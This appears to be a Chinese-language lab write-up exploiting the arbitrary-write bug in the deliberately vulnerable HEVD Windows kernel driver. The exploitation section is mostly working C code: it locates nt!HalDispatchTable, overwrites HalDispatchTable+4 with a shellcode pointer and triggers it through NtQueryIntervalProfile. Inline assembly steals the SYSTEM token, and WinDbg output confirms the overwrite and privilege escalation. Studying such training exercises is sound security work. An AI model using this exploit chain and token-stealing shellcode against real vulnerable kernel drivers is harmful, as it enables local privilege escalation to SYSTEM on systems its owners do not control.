0%

hevd windows内核漏洞练习-ARBITRARY_WRITE

hevd windows内核漏洞练习-ARBITRARY_WRITE

1.漏洞分析

这是一个任意内存写入漏洞.它这里并未对UserWriteWhatWhere->What,UserWriteWhatWhere->Where的地址进行检查,后面直接写入了,这里正常应该调用ProbeForRead进行检查,判断是否为用户地址空间的地址,并且是否可读写.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __stdcall TriggerArbitraryWrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
unsigned int *What; // edi
unsigned int *Where; // ebx

ProbeForRead(UserWriteWhatWhere, 8u, 1u);
What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;
_DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
_DbgPrintEx(0x4Du, 3u, "[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
_DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->What: 0x%p\n", What);
_DbgPrintEx(0x4Du, 3u, "[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Arbitrary Write\n");
*Where = *What;
return 0;
}

2.漏洞利用

首先编写一个测试程序,这里将what和where设置为了无法读写的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

VOID ARBITRARY_WRITE_test(HANDLE dev) {
DWORD dwRet = 0;
PWRITE_WHAT_WHERE buf = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
DWORD shellcodeAddress = 0;
ULONG Interval = 0;

buf->What = (PULONG_PTR)1;
buf->Where = (PULONG_PTR)2;
DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, buf, sizeof(PWRITE_WHAT_WHERE), NULL, 0, &dwRet, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)buf);
CloseHandle(dev);
}

捕捉了0xC0000005异常,ring3传入地址的是无法写入和读取的.

1
2
3
4
5
6
7
8
9
****** HEVD_IOCTL_ARBITRARY_WRITE ******
[+] UserWriteWhatWhere: 0x002F24F8
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x00000001
[+] UserWriteWhatWhere->Where: 0x00000002
[+] Triggering Arbitrary Write
[-] Exception Code: 0xC0000005
****** HEVD_IOCTL_ARBITRARY_WRITE ******

关于windows内核任意地址写入实现提权,方式是覆盖掉nt!HalDispatchTable中的函数地址,其中的函数是内核初始化时候就已经设置的,通过任意地址写入将HalDispatchTable+4中的地址覆盖为shellcode的地址,然后通过NtQueryIntervalProfile或者NtSetIntervalProfile对这个函数进行调用.覆盖它的原因是因为这个函数内核中一般很少调用,对系统稳定性影响较小.

1
2
3
4
5
6
7
8
9
kd> dd HalDispatchTable
83f81358 00000004 83e388a2 83e391b4 84109e17
83f81368 00000000 83e495b6 83fc964f 84109718
83f81378 841099c3 83f236f1 83f69b97 83f69b97
83f81388 83e386ce 83e38f30 83e158e8 83e37dce
83f81398 84109e3f 83f2370f 83f23723 83e390f6
83f813a8 83f23723 83e18112 83e1fc00 83e9d99c
83f813b8 841070c7 00000000 83e9d9ac 83fc0c1c
83f813c8 00000000 83e9d9bc 841072bf 00000000

HalDispatchTable是导出的,可以直接在ring3 load ntkrnlpa.exe计算出偏移之后,再加上实际的ntkrnlpa基址,获取到位置.代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DWORD GetHalDispatchTable() {

LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
CHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
DWORD ntkrnlpaBase = (DWORD)lpImageBase[0];
DWORD userkrnlpaBase = (DWORD)LoadLibrary(L"ntkrnlpa.exe");
if (userkrnlpaBase == 0) {
return NULL;
}
DWORD userHalDispatchTableAddress = (DWORD)GetProcAddress((HMODULE)userkrnlpaBase, "HalDispatchTable");
DWORD halDispatchTableAddress = ntkrnlpaBase + userHalDispatchTableAddress - userkrnlpaBase;
return halDispatchTableAddress;

}

然后设置what和where中的地址为shellcode地址和HalDispatchTable+4地址,进行写入.

最后调用NtQueryIntervalProfile,执行到shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
VOID shellcode2() {
__asm {
pop edi
pop esi
pop ebx
pushad
xor eax, eax
mov eax, fs: [124h]
mov eax, [eax + 050h]
mov ecx, eax
mov edx, 4

find_sys_pid :
mov eax, [eax + 0b8h]
sub eax, 0b8h
cmp[eax + 0b4h], edx
jnz find_sys_pid

mov edx, [eax + 0f8h]
mov[ecx + 0f8h], edx
popad
xor eax, eax
ret
}
}

VOID ARBITRARY_WRITE(HANDLE dev) {
DWORD dwRet = 0;
PWRITE_WHAT_WHERE buf = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE));
DWORD shellcodeAddress = 0;
ULONG Interval = 0;

PVOID EopPayload = &shellcode2;
buf->What = (PULONG_PTR)&EopPayload;
buf->Where = (PULONG_PTR)(GetHalDispatchTable() + 4);
printf("buf->Where:%x\n", buf->Where);
DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, buf, sizeof(PWRITE_WHAT_WHERE), NULL, 0, &dwRet, NULL);

FUN_NtQueryIntervalProfile NtQueryIntervalProfile = NULL;
HMODULE ntdll = (HMODULE)LoadLibrary(L"ntdll.dll");
NtQueryIntervalProfile = (FUN_NtQueryIntervalProfile)GetProcAddress(ntdll, "NtQueryIntervalProfile");
NTSTATUS status = NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337, &Interval);

HeapFree(GetProcessHeap(), 0, (LPVOID)buf);
printf("status:%x\n", status);
CloseHandle(dev);
}

下个断点看下修改结果,可以看到HalDispatchTable+4已经修改为了shellcode地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
kd> g
[+] UserWriteWhatWhere: 0x001A24F8
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x0014EB60
[+] UserWriteWhatWhere->Where: 0x83F8135C
[+] Triggering Arbitrary Write
Breakpoint 1 hit
HEVD!TriggerArbitraryWrite+0x71:
92f61c5f 8903 mov dword ptr [ebx],eax
kd> dd HalDispatchTable
83f81358 00000004 83e388a2 83e391b4 84109e17
83f81368 00000000 83e495b6 83fc964f 84109718
83f81378 841099c3 83f236f1 83f69b97 83f69b97
83f81388 83e386ce 83e38f30 83e158e8 83e37dce
83f81398 84109e3f 83f2370f 83f23723 83e390f6
83f813a8 83f23723 83e18112 83e1fc00 83e9d99c
83f813b8 841070c7 00000000 83e9d9ac 83fc0c1c
83f813c8 00000000 83e9d9bc 841072bf 00000000
kd> p
HEVD!TriggerArbitraryWrite+0x73:
92f61c61 eb2a jmp HEVD!TriggerArbitraryWrite+0x9f (92f61c8d)
kd> dd HalDispatchTable
83f81358 00000004 01061040 83e391b4 84109e17
83f81368 00000000 83e495b6 83fc964f 84109718
83f81378 841099c3 83f236f1 83f69b97 83f69b97
83f81388 83e386ce 83e38f30 83e158e8 83e37dce
83f81398 84109e3f 83f2370f 83f23723 83e390f6
83f813a8 83f23723 83e18112 83e1fc00 83e9d99c
83f813b8 841070c7 00000000 83e9d9ac 83fc0c1c
83f813c8 00000000 83e9d9bc 841072bf 00000000

提权成功